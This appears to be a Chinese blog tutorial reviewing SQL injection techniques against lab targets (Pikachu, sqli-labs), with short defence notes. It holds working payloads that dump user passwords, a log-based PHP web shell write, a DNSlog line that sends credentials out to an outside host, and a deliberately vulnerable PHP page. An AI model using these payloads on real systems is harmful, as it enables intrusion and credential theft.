前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >复习 - SQL注入

复习 - SQL注入

作者头像
Naraku
发布2021-07-28 11:00:33
发布2021-07-28 11:00:33
99500
代码可运行
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏
运行总次数:0
代码可运行

简介

练习靶场

注入本质

攻击的本质在于输入输出控制。

  • 什么是SQL注入
代码语言:txt
复制
- SQL注入漏洞的原理是由于开发者在编写操作数据库代码时,直接将**外部可控的参数**拼接到SQL语句中,没有经过任何过滤或过滤不严谨,导致攻击者可以使恶意语句在数据库引擎中执行将用户输入的数据当作SQL语句执行,有2个关键条件:
代码语言:txt
复制
- 参数带入数据库查询
- 参数用户可控

MySQL基础

代码语言:javascript
代码运行次数:0
复制
-- 登录Mysql
-- $ mysql -u'数据库账号' -p'密码'
$ mysql -u'root' -p'owasp'

> use database_name;       -- 使用库
> alter table table_name;  -- 使用表

> select user()            -- 获得当前用户名
> select databse()         -- 获得当前数据库名
> select version()         -- 获得当前数据库版本

> table_name='user_privileges'   -- 用户权限表
> table_name='schema_privileges' -- 数据库库权限表

注入基础

MySQL 5.0以上版本自带数据库information_schema,记录当前MySQL下所有数据库名、表名、列名。

  • information_schema:提供了访问数据库元数据的方式,元数据包括数据库名、表名、字段数据类型、访问权限等信息。符号点.表示下一级
  • Information_schema.schemata :记录库名信息的表
代码语言:txt
复制
- `schema_name`:记录库名的字段
代码语言:txt
复制
- `table_schema`:记录库名的字段
- `table_name`:记录表名的字段
代码语言:txt
复制
- `table_schema`:记录库名的字段
- `table_name`:记录表名的字段
- `column_name`:记录列名的字段
代码语言:javascript
代码运行次数:0
复制
-- 查询全部库 -> information_schema.schemata 表中的 schema_name 列
 select 1,schema_name from information_schema.schemata
-- 查询指定库中的全部表
 select 1,table_name from information_schema.tables where table_schema="pikachu"
-- 查询全部列 -> information_schema.columns 表中的 column_name 列
 select 1,column_name from information_schema.columns

-- 查询数据库库名、表名 information_schema.tables --
select distinct table_schema from information_schema.tables;  -- 列出所有库,等价于show databases
select table_name from information_schema.tables where table_schema='table_name';  -- 列出指定库的所有表,等价于show tables;

-- 查询数据库库名、表名、字段名 information_schema.columns --
select column_name from information_schema.columns;  -- 列出所有表的所有字段
select column_name from information_schema.columns where ;  -- 列出指定表的所有字段
select column_name from information_schema.columns  where table_schema='database_name' and table_name='table_name';  -- 列出指定库指定表的所有字段


order by x  -- 获取字段数
version()   -- 版本信息
database()  -- 数据库名
user()      -- 数据库用户
@@version_compile_os  -- 操作系统
@@datadir -- 数据库存储目录
@@secure_file_priv  -- 导入导出限制
注入流程
  • 判断注入点
代码语言:javascript
代码运行次数:0
复制
and 1=1
and 1=2
  • 判断字段数
代码语言:javascript
代码运行次数:0
复制
order by 1
order by 2
...
  • 查询库名
代码语言:javascript
代码运行次数:0
复制
union select 1,2,database(),4

-- 也可以查询其它信息
user()      # 当前用户
version()   # 当前版本
database()  # 当前库名
@@version_compile_os  # 操作系统
  • 爆表爆列
代码语言:javascript
代码运行次数:0
复制
-- 爆表用group_concat()函数,需将目标据库名转换为十六进制
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=[十六进制数据库名]

-- 爆列,将目标表名转换为十六进制
union select 1,group_concat(column_name)3,4 from information_schema.columns where table_name=[十六进制表名]
文件操作
  • 文件读写均需要输入绝对路径
  • 引号被过滤或闭合错误时,可将路径或写入的内容进行十六进制编码
代码语言:javascript
代码运行次数:0
复制
-- load_file('file_name')   读取函数
select load_file('c:/file.txt');
select load_file(0x633a2f66696c652e747874);

-- into outfile 'file_name'  写入函数
select '123' into outfile 'c:/file.txt';
select 0x633a2f66696c652e747874 into outfile 'c:/file.txt';

可能出现的错误

  • 文件读取一直返回NULL
代码语言:txt
复制
- 原因:数据库用户权限不足,必须是root用户文件写入报错:
代码语言:txt
复制
- 原因:mysql文件的导入和导出路径有默认的设置,即 `secure-file-priv`,当传入的csv文件路径与默认的路径冲突时就会报错。
- `secure-file-priv`的值有三种情况:
代码语言:txt
复制
    - `secure_file_priv=null`,限制mysqld不允许导入导出
    - `secure_file_priv=/path/` ,限制mysqld的导入导出只能发生在默认的`/path/`目录下
    - `secure_file_priv=''` ,不对mysqld的导入导出做限制

注入扩展

通过日志写Shell

Mysql 5.0版本以上会创建日志文件,修改下面2个关于日志的全局变量,若对生成的日志有读写权限也可以GetShell

  • general log 日志记录状态,当值为ON时,所执行的sql语句都会保存到general log file
  • general log file日志保存路径
  • Tips:修改日志路径后,可通过select '<?php phpinfo();?>'写入phpinfo,然后浏览器访问该文件查看是否成功写入
代码语言:javascript
代码运行次数:0
复制
SHOW VARIABLES LIKE 'general%';   -- 查看日志状态
SET GLOBAL general_log='on'        -- 开启日志记录
SET GLOBAL general_log_file='/var/www/html/123.php'  -- 修改日志记录路径,路径不存在会报错
PHP防注入
  • 魔术引号,php.ini配置文件中开启,对用户输入中的单引号进行转义
代码语言:txt
复制
- `magic_quotes_gpc = off`安全函数,将用户输入放于addslashes()函数内,与魔术引号具有相同功能
代码语言:txt
复制
- 编码绕过
- 宽字节注入
跨库注入

场景:网站A无注入点,网站B存在MySQL注入,且网站AB使用同一数据库。此时可利用网站B的注入点跨库查询获取网站A的数据。

条件:网站B数据库用户权限为root

获取所有数据库名

获取指定数据库pikachu下 表名

获取指定表名users下的列名

获取指定数据

报错注入

  • Insert/delete/update注入:一般存在于增删改用户信息的地方。
  • HTTP Header注入:有时候后台需要通过HTTP Header头获取客户端的一些信息,如UserAgentAccept字段等,会对客户端的HTTP Header信息进行获取并使用SQL进行处理,可能会导致基于HTTP Header的SQL注入漏洞

基础

  • 条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端
  • 思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息
  • 常用函数:updatexml(XML_Document, XPath_String, New_Value)
代码语言:txt
复制
- `XML_Document`,表中字段名
- `XPath_String`,XPath格式的字符串
- `New_Value`,替换的值此函数的作用是改变(查找并替换)XML文档中符合条件的节点的值。其中XPath定位参数必须是有效的,否则会发生错误。这里是思路是

实战演示

  • 这里利用Pikachu靶场字符型注入(GET)进行演示。随便输入一个单引号',可以看到返回报错信息,尝试报错注入
  • 构造Payload
代码语言:javascript
代码运行次数:0
复制
' and updatexml(1, version(), 0) # 
  • 此处结果为XPATH syntax error: '.53',可以看到返回的版本号显示不全,需要利用concat()函数
  • concat()函数可以把传进去的2个参数组合成一个完整的字符串并返回,同时也可以执行表达式,可以把参数和表达式执行的结果进行拼接并返回。0x7e~的十六进制,可以防止返回的查询结果被截断。
代码语言:javascript
代码运行次数:0
复制
' and updatexml(1, concat(0x7e, version()) ,3) #
  • 此时返回的结果是XPATH syntax error: '~5.5.53'
  • 报错只能显示一行。假如执行以下语句获取表名,则会报错:Subquery returns more than 1 row
代码语言:javascript
代码运行次数:0
复制
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" )) ,0) #
  • 可以通过limit来操作返回的数量。limit 0,1为从第0个开始取,取1条
代码语言:javascript
代码运行次数:0
复制
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 0,1)) ,3) #

......

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 4,1)) ,3) #
  • 后面获取列名也是一样
代码语言:javascript
代码运行次数:0
复制
' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 0,1)),3) #

......

' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 3,1)),3) #
  • 最后获取数据
代码语言:javascript
代码运行次数:0
复制
' and  updatexml(1,concat(0x7e, (select username from users limit 0,1)),3) #
' and  updatexml(1,concat(0x7e, (select password from users limit 0,1)),3) #

盲注

  • 普通联合注入和盲注的区别
代码语言:txt
复制
- 普通注入效率高、兼容性差
- 盲注效率低、兼容性强

布尔盲注

很多时候网站会对这些报错信息进行屏蔽,或者经过处理后返回一些标准的信息,此时无法根据报错信息进行注入的判断。而这里的布尔盲注是通过对比网站对于"真"和"假"的返回结果,从而构造SQL查询语句,并根据网站返回结果来判断该语句的结果为真还是假。

  • 此处使用Pikachu靶场中的布尔注入漏洞,当输入为真,即该用户存在时,返回用户信息。用户不存在或者语句为假时返回该username不存在,并且已知kobe这个用户存在。因此可以构造语句如下:
代码语言:javascript
代码运行次数:0
复制
kobe' and length(database())>6 #
kobe' and length(database())>7 #
  • 使用length()函数来获取当前数据库名的长度并进行比较,在>6时返回用户信息,即证明为真;>7时返回username不存在,即为假。由此可判断该数据库的长度为7
  • 继续构造语句来猜解库名
代码语言:javascript
代码运行次数:0
复制
kobe' and ascii(substr(database(),1,1))>111 #
kobe' and ascii(substr(database(),1,1))>112 #  =>p

...

kobe' and ascii(substr(database(),7,1))>116#
kobe' and ascii(substr(database(),7,1))>117#  =>u
  • 此处substr(database(),1,1))为从database()返回的数据库名中的第1位开始取值,取1位。并通过ascii()函数转换为ASCII码,将其分别与111和112进行比较。当该ASCII码>111时返回真,>112时返回假。由此可知该ASCII码为112,即p。以此类推,可以猜解出各个位置的字母,组合得到库名pikachu

时间盲注

主要函数

猜解库名

代码语言:javascript
代码运行次数:0
复制
-- 猜解库名长度,相等则返回0即sleep(0),否则sleep(5)
-- select sleep(if((select length(database())=4), 0, 2));
?id=1 and select sleep(if((select length(database())=3), 0, 2));

-- 猜解库名
-- select sleep(if((select database()='user'), 0, 3));
?id=1 and sleep(if((select database()='user'), 0, 3))  
?id=1 and select sleep(if((select database()='dvwa'), 0, 3));
  • 猜解表名
代码语言:txt
复制
- `limit n-1,n`查询第`n`个表
- `mid(table_name,x,1)`查询表中第`x`位的值
代码语言:javascript
代码运行次数:0
复制
-- 猜解第1个表名长度
?id=1 union select 1,2,3,sleep(if(length(table_name)=4, 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
-- 猜解第2个表名长度
?id=1 union select 1,2,3,sleep(if(length(table_name)=4, 0, 3)) from information_schema.tables where table_schema=database() limit 1,2

-- 猜解表名第1位
?id=1 union select 1,2,3,sleep(if(mid(table_name,1,1)='a', 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
-- 猜解表名第2位
?id=1 union select 1,2,3,sleep(if(mid(table_name,2,1)='a', 0, 3)) from information_schema.tables where table_schema=database() limit 0,1

-- 使用ASCII码猜解表名
?id=1 union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97, 0, 1)) from information_schema.tables where table_schema=database() limit 0,1

Dnslog盲注

MySQL中的load_file()函数可以发起请求

  • 构造语句,利用load_file()函数发起请求,使用DNSlog接收请求并获得数据。需要注意的是,此函数只能在Windows系统中使用。所以如果要使用DNSlog盲注,那么目标服务器必须是Windows
代码语言:javascript
代码运行次数:0
复制
select load_file(concat('\\\\', 'test', '.mysql.xxx.ceye.io\\abc'));

select load_file(concat('\\\\', (select database()), '.mysql.xxx.ceye.io\\abc'));
  • 使用concat_ws函数分隔查询的数据。注意DNSlog无法记录特殊符号,这里使用X作分隔符
代码语言:javascript
代码运行次数:0
复制
select load_file(concat('\\\\', (select concat_ws('X',username,password) from users limit 0,1), '.mysql.xxx.ceye.io\\abc'));
  • 如果想使用特殊字符分隔,也可以用hex()函数将查询结果转换为16进制,最后将返回的数据进行解码即可
代码语言:javascript
代码运行次数:0
复制
select load_file(concat('\\\\', (select hex(concat_ws('~',username,password)) from users limit 0,1), '.mysql.xxx.ceye.io\\abc'));

宽字节注入

  • 一个字符的大小为1个字节,即称为窄字节。大小为2个字节则称为宽字节。如GBKGB2312等编码都是宽字节。
  • 1个字节为8位,可以表示2^8256个字符,所有的英文字符只有a~z,A~Z48个,所以完全可以使用1个字节表示。而中文远远不止256个,因此需要占2个字节。

注入原理

  • 某些程序会对用户输入的一些特殊字符进行了处理。如用户输入',则可能会在其前面添加一个\进行转义。
代码语言:javascript
代码运行次数:0
复制
' union ...

输入

处理

编码

查询

结果

'

\'

%5C%27

id=1\' and

不能注入

  • 而此时如果需要绕过,可以尝试宽字节注入,黑客可以输入如下:
代码语言:javascript
代码运行次数:0
复制
%df' union ...
  • MySQL在使用GBK编码时,如果1个字符的ASCII码>128,即到达汉字的范围,那么就会将该字符与后面1个字符组合成1个汉字
代码语言:txt
复制
- 此处即将`%df%5C`组合成汉字`運`

输入

处理

编码

查询

结果

%df'

%df\'

%df%5C%27

id=運' and

可以注入

练习

这里使用Sqlilab靶场中的Less-32进行练习

  • 先分别输入'%df'测试一下。可以看到第2次会返回一个特殊字符和\',该特殊字符编码后会与\的编码组合成汉字,从而将\绕过
代码语言:javascript
代码运行次数:0
复制
?id='
?id=%df'

后面的注入就跟普通注入没什么区别的,只需要在前面加个%df

代码语言:javascript
代码运行次数:0
复制
-- 判断字段数
?id=%df' order by 3 --+
?id=%df' order by 4 --+

-- 回显
?id=%df' union select 1,2,3  --+ 

-- 信息,库名:security
?id=%df' union select 1,database(),user()  --+ 
  • 猜表:emailsreferersuagentsusers
代码语言:javascript
代码运行次数:0
复制
?id=%df' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1 ),3 --+ 
?id=%df' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1 ),3 --+ 
?id=%df' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 2,1 ),3 --+ 
?id=%df' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1 ),3 --+ 
  • 猜字段。这里一开始使用如下语句猜解users表的字段
代码语言:javascript
代码运行次数:0
复制
?id=%df' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),3 --+

-- 报错:You have an error in your SQL syntax; ... '\"users\" limit 0,1),3 -- ' LIMIT 0,1' at line 1
  • 如果使用上面语句,就会发现table_name后面的引号被\转义了,但是此处不能使用%df来绕过\,否则会变成查询user運这个表。即数据库接收到的语句如下:
代码语言:javascript
代码运行次数:0
复制
?id=%df\' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=%df\"users%df\" limit 0,1),3 --+
  • 最后解决办法是:先通过前面查询表名的语句查询得到表名,再将查询结果放在**table_name**后面
代码语言:javascript
代码运行次数:0
复制
-- 查询表名
select table_name from information_schema.tables where table_schema=database() limit 3,1

-- 将查询表名的语句放在table_name后
?id=%df' union select 1,(select column_name from information_schema.columns 
where table_schema=database() 
and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) 
limit 0,1),3 --+
  • 通过调整limit得到users表全部字段:idusernamepassword
代码语言:javascript
代码运行次数:0
复制
?id=%df' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 0,1),3 --+

?id=%df' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 1,1),3 --+

?id=%df' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 2,1),3 --+
  • 最终轻松获取全部用户名及密码
代码语言:javascript
代码运行次数:0
复制
?id=%df' union select 1,username,password from users limit 0,1 --+
...
?id=%df' union select 1,username,password from users limit 12,1 --+

测试

  • 黑盒:在可能的注入点后添加%df,之后进行注入测试
  • 白盒:
代码语言:txt
复制
- 查看MySQL编码是否为GBK
- 是否使用`preg_replace`把单引号替换为`\'`
- 是否使用`addslashes()`函数进行转义
- 是否使用`mysql_real_escape_string()`函数进行转义

防御

  • MySQL使用UTF-8编码,不使用宽字节的编码(GBK、日文、韩文),可以从根本上避免宽字节注入
  • 设置MySQL的连接参数,使用二进制的方式连接
代码语言:javascript
代码运行次数:0
复制
character_set_client=binary
  • 使用mysql_real_escape_stringmysql_set_charset('gbk', $conn)

二次编码注入

注入原理

urldecode()与PHP本身处理编码时,两者配合可构造数据消灭\

  • 假设用户输入如下
代码语言:javascript
代码运行次数:0
复制
1' union ...

输入

PHP自身编码

编码

查询

结果

1'

1'

id=1\

id=1\' and

不能注入

  • 而如果将urldecode()函数放在不适当的位置,与PHP编码配合失误,则可能产生漏洞。假设用户输入如下:
代码语言:javascript
代码运行次数:0
复制
1%2527 union ...
  • 此时用户输入的处理流程为:
代码语言:txt
复制
- `%25`先被PHP自身编码,转换为`%`
- 然后`%`与后面的`27`组合成`%27`,并被`urldecode()`函数编码,转换为单引号`'`

输入

PHP自身编码

转义

函数编码

查询

结果

1%2527

1%27

1%27(此时无',不会被转义)

1'

id=1' and

可以注入

环境准备

SQLilab中没有二次编码的练习靶场,需要自行搭建

  • 先搭建好SQLilab靶场,然后在新建目录Less-encode,并在目录下创建index.php,写入如下代码
代码语言:javascript
代码运行次数:0
复制
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>二次编码注入</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input  type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);

if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);
    echo 'mysql_real_escape_string:'.$id."<br />";
    $id = urldecode($id);
    echo 'urldecode:'.$id.'<br />';

    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row){
        echo "<font size='5' color='#99FF00'>";
        echo 'Your Login name:' . $row['username'];
        echo "<br>";
        echo 'Your Password:' . $row['password'];
        echo "</font>";
    }
    else{
        print_r(mysql_error());
        echo "</font>";
    }
}
else{
    echo "Please input the ID as parameter with numeric value";
}
?>

</body>
</html>

练习

  • 输入如下代码?id=',可以看到被转义为\'

  • 而输入?id=%2527,则可以看到先被PHP本身编码为%27,再经过urldecode()函数转换为'

  • 此时可以得知,只需要将单引号'修改为%2527,然后按照正常方法注入即可
代码语言:javascript
代码运行次数:0
复制
-- 判断字段数
?id=%2527 order by 3 --+
?id=%2527 order by 4 --+

-- 输出位置
?id=%2527 union select 1,2,3 --+

-- 信息收集
?id=%2527 union select 1,database(),user() --+
  • 猜表:emailsreferersuagentsusers
代码语言:javascript
代码运行次数:0
复制
?id=%2527 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3 --+
?id=%2527 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1),3 --+
?id=%2527 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 2,1),3 --+
?id=%2527 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3 --+
  • 猜字段。这里一开始使用如下语句猜解users表的字段
  • 同前面宽字节注入一样,如果直接使用 table_name='xxx' 来过滤需要查询的表时会报错,因为引号会被转义,最终查询的是 table_name=\'xxx\'
代码语言:javascript
代码运行次数:0
复制
?id=%2527 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),3 --+
  • 通过将猜表的语句放到 table_name
代码语言:txt
复制
- 第1个`limit`定位需要查询字段的表
- 第2个`limit`用于逐个输出该表的字段:`id`、`username`、`password`
代码语言:javascript
代码运行次数:0
复制
?id=%2527 union select 1,(select column_name from information_schema.columns 
where table_schema=database() 
and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) 
limit 0,1),3 --+
  • 最终得到全部数据
代码语言:javascript
代码运行次数:0
复制
?id=%2527 union select 1,username,password from users limit 0,1 --+
....
?id=%2527 union select 1,username,password from users limit 12,1 --+

测试

  • 黑盒:在可能的注入点后键入%2527进行测试
  • 白盒:
代码语言:txt
复制
- 是否使用`urldecode()`函数
- `urldecode()`函数是否在转义方法之后

二次注入

注入原理

二次注入分为以下2步:

  1. 找到插入数据的地方,插入恶意数据。插入数据时,程序仅对其中的特殊字符进行转义,但是写入数据库时还是保留了原来的数据,但是数据本身包含恶意内容
  2. 找到调用数据的地方,调用恶意数据。当数据被存到数据库后,程序就会认为数据是可信的,在下次需要进行查询时,直接从数据库取出恶意数据,没有进一步的检验和处理,从而造成SQL二次注入。

练习

这里使用Sqlilab靶场中的Less-24进行练习

  • 进入Less-24,点击下方New User click here?新建一个用户
代码语言:txt
复制
- 用户名为:`admin '#`
- 密码随意,这里是`123`点击

  • 可以看到,用户名admin '#直接被插入到数据库中,并没有进行转义等处理
  • 登录一下新注册的用户,登录成功后可以修改密码,这里修改为naraku

  • 页面显示修改成功,再次看看数据库中的用户。可以发现,admin '#用户的密码没有变化,但admin的密码却被修改成naraku

分析

  • 原因是该程序对数据库中取出的数据未进行处理,从而产生漏洞。具体可以查看Less-24目录下的pass_change.php文件,主要代码如下:
代码语言:javascript
代码运行次数:0
复制
if (isset($_POST['submit'])){
    # Validating the user input........
    $username= $_SESSION["username"];  // 用户名
    $curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);  // 原密码
    $pass= mysqli_real_escape_string($con1, $_POST['password']);        // 新密码
    $re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);  // 再次输入新密码
    
    if($pass==$re_pass){    
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysqli_affected_rows($con1);
        echo '<font size="3" color="#FFFF00">';
        echo '<center>';
        if($row==1){...}
        else{...}
    }
    else{...}
}
...
  • 程序只对curr_passpassre_pass等用户输入的数据进行处理,而未对从数据库取出的$username作处理。而当传入以上数据修改密码时,PHP执行语句如下:
代码语言:javascript
代码运行次数:0
复制
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

# 实际语句:
$sql = "UPDATE users SET PASSWORD='naraku' where username='admin '# ' and password='123' ";
  • 数据库接收并执行的SQL为:
代码语言:javascript
代码运行次数:0
复制
UPDATE users SET PASSWORD='naraku' where username='admin '# ' and password='123'
  • 可以看到,尽管curr_pass不正确,但由于判断原密码是否正确的部分被注释掉了,所以这里可以直接将admin用户的密码修改为naraku

防御

  • 不仅要对外部提交的数据要进行检验。对于程序内部的数据调用,也同样要进行严格的检查

其它数据库

判断数据库类型

MSSQL注入

注入流程

测试靶场

判断是否有注入

判断是否MSSQL

判断数据库系统

其它

管理权限
  • SA权限:数据库操作、文件管理、命令执行、注册表读取
  • DB权限:数据库操作、文件管理
  • Public权限:数据库操作

Access注入

注入流程

判断注入点

判断数据库表

猜解

偏移注入

偏移注入的产生主要是用来解决猜到表名,但猜不到列名的情况

先猜解出该表的字段数

使用*号从后往前逐个删除替代,直至返回页面正常为止

代入计算公式

跨库查询

条件:同服务器下的站点存在注入点,知道目标站点数据库的绝对路径和数据库表,则可以通过跨库查询猜解表中的字段名

代码语言:javascript
代码运行次数:0
复制
-- 绝对路径: D:\wwwroot\data.mdb
-- A是目标站点,B是存在注入的站点,AB处于同一服务器
-- admin是数据库中的表,user和password是admin表中的字段

?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\data.mdb].admin
?id=1 union select 1,2,user,password,5,6 from [D:\wwwroot\data.mdb].admin

版权属于:Naraku

本文链接:https://cloud.tencent.com/developer/article/1853394

本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020 年 03 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
    • 练习靶场
    • 注入本质
    • MySQL基础
    • 注入基础
      • 注入流程
      • 文件操作
    • 注入扩展
      • 通过日志写Shell
      • PHP防注入
      • 跨库注入
  • 报错注入
    • 基础
    • 实战演示
  • 盲注
    • 布尔盲注
    • 时间盲注
    • Dnslog盲注
  • 宽字节注入
    • 注入原理
    • 练习
    • 测试
    • 防御
  • 二次编码注入
    • 注入原理
    • 环境准备
    • 练习
    • 测试
  • 二次注入
    • 注入原理
    • 练习
    • 分析
    • 防御
  • 其它数据库
    • MSSQL注入
      • 注入流程
      • 管理权限
    • Access注入
      • 注入流程
      • 偏移注入
      • 跨库查询
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档